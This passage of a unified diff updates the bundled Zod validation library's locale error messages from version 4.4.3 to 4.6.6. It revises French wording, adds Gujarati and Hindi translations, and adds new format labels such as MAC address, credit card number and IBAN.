base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -60852,11 +62155,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -60867,7 +62170,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -60892,13 +62195,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -60918,17 +62221,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60954,12 +62258,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -61026,12 +62334,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -61084,6 +62506,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -61097,13 +62521,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -61221,12 +62650,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -61257,12 +62798,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -61344,17 +62889,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61380,12 +62926,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -61453,11 +63003,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -61468,7 +63018,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -61497,6 +63047,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -61523,12 +63080,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -61601,17 +63162,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61637,12 +63199,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61708,17 +63274,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = 